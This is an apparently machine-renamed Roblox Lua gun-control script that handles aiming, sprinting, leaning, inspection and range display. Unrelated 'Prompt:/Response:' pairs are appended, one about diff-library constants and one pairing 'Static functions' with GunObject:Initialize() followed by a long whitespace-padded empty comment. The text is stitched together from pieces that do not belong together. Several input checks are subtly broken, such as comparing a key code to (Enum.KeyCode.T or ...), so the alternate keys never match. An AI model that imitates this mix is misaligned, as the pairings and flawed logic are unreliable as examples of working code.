		if L_314_arg1.KeyCode == (Enum.KeyCode.T or L_314_arg1.KeyCode == Enum.KeyCode.DPadLeft) and L_1_:FindFirstChild("AimPart2") then
			if not L_86_ then
				L_56_ = L_1_:WaitForChild("AimPart2")
				L_50_ = L_24_.CycleAimZoom
				if L_64_ then
					L_97_ = L_24_.CycleAimZoom
				end
				L_86_ = true
			else
				L_56_ = L_1_:FindFirstChild("AimPart")
				L_50_ = L_24_.AimZoom
				if L_64_ then
					L_97_ = L_24_.AimZoom
				end
				L_86_ = false
			end;
		end;

		if L_314_arg1.KeyCode == L_24_.InspectionKey and not L_79_ and not L_78_ then
			if not L_77_ then
				L_77_ = true
				InspectAnim()
				IdleAnim()
				L_77_ = false
			end
		end;

		if L_314_arg1.KeyCode == L_24_.AttachmentKey and not L_79_ and not L_77_ then
			if L_15_ then
				if not L_78_ then
					L_67_ = false
					L_64_ = false
					L_69_ = false
					L_78_ = true

					AttachAnim()
				elseif L_78_ then
					L_67_ = false
					L_64_ = false
					L_69_ = true
					L_78_ = false

					IdleAnim()
				end
			end
		end;

		if L_314_arg1.KeyCode == Enum.KeyCode.P and not L_77_ and not L_78_ and not L_64_ and not L_67_ and not L_65_ and not L_66_ and not Recoiling and not L_67_ then
			if not L_79_ then
				L_79_ = true
				L_14_:Create(L_45_, TweenInfo.new(0.2), {
					C1 = L_24_.SprintPos
				}):Play()
				wait(0.2)
				L_112_:FireServer("Patrol", L_24_.SprintPos)
			else
				L_79_ = false
				L_14_:Create(L_45_, TweenInfo.new(0.2), {
					C1 = CFrame.new()
				}):Play()
				wait(0.2)
				L_112_:FireServer("Unpatrol")
			end
		end;
	end
end)

L_107_.InputEnded:connect(function(L_321_arg1, L_322_arg2)
	if not L_322_arg2 and L_15_ then
		if L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_77_ and L_24_.CanAim and not L_78_ then
			if L_64_ then
				if not L_65_ then
					L_3_:WaitForChild("Humanoid").WalkSpeed = 16
					if L_24_.TacticalModeEnabled then
						L_154_ = 0.09
						L_155_ = 11
					else
						L_154_ = .2
						L_155_ = 17
					end
				end
				L_97_ = 70
				L_133_.target = Vector3.new()
				L_115_:FireServer(false)
				L_64_ = false
			end
		end;

		if L_321_arg1.KeyCode == Enum.KeyCode.A and L_15_ then
			L_134_ = CFrame.Angles(0, 0, 0)
		end;

		if L_321_arg1.KeyCode == Enum.KeyCode.D and L_15_ then
			L_134_ = CFrame.Angles(0, 0, 0)
		end;

		if L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ and L_80_ then
			Unlean()
			L_80_ = false
			L_82_ = false
			L_81_ = false
		end

		if L_321_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and L_80_ then
			Unlean()
			L_80_ = false
			L_82_ = false
			L_81_ = false
		end

		if L_321_arg1.KeyCode == L_24_.AlternateAimKey and not L_77_ and L_24_.CanAim then
			if L_64_ then
				if not L_65_ then
					L_3_.Humanoid.WalkSpeed = 16
					L_155_ = 17
					L_154_ = .25
				end
				L_97_ = 70
				L_133_.target = Vector3.new()
				L_115_:FireServer(false)
				L_64_ = false
			end
		end;

		if L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_77_ then
			L_68_ = false
			if Shooting then
				Shooting = false
			end
		end;

		if L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ then
			local L_323_ = L_42_:WaitForChild('GameGui')
			if L_16_ then
				L_323_:WaitForChild('AmmoFrame').Visible = false
				L_16_ = false
			end
		end;

		if L_321_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_77_ and not L_70_ and not L_65_ then -- SPRINT
			L_71_ = false
			if L_67_ and not L_64_ and not Shooting and not L_71_ then
				L_67_ = false
				L_72_ = false
				L_97_ = 70

				L_3_.Humanoid.WalkSpeed = 16
				if L_24_.TacticalModeEnabled then
					L_154_ = 0.09
					L_155_ = 11
				else
					L_154_ = .2
					L_155_ = 17
				end
			end
		end;
	end
end)

L_107_.InputChanged:connect(function(L_324_arg1, L_325_arg2)
	if not L_325_arg2 and L_15_ and L_24_.FirstPersonOnly and L_64_ then
		if L_324_arg1.UserInputType == Enum.UserInputType.MouseWheel then
			if L_324_arg1.Position.Z == 1 and (L_51_ < 1) then
				L_51_ = L_51_ + L_24_.SensitivityIncrement
			elseif L_324_arg1.Position.Z == -1 and (L_51_ > 0.1) then
				L_51_ = L_51_ - L_24_.SensitivityIncrement
			end
		end
	end
end)

L_107_.InputChanged:connect(function(L_326_arg1, L_327_arg2)
	if not L_327_arg2 and L_15_ then
		local L_328_, L_329_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_56_.CFrame.p, (L_56_.CFrame.lookVector).unit * 10000), IgnoreList);
		if L_328_ then
			local L_330_ = (L_329_ - L_6_.Position).magnitude
			L_33_.Text = math.ceil(L_330_) .. ' m'
		end
	end
end)


Prompt:
-- /**
--  * The data structure representing a diff is an array of tuples:
--  * [[DIFF_DELETE, 'Hello'], [DIFF_INSERT, 'Goodbye'], [DIFF_EQUAL, ' world.']]
--  * which means: delete 'Hello', add 'Goodbye' and keep ' world.'
--  */

Response:
local DIFF_DELETE = -1
local DIFF_INSERT = 1
local DIFF_EQUAL = 0


Prompt: --[[/Static functions]]

Response:
GunObject:Initialize()
 																																																																															--[[ 																																																																															]]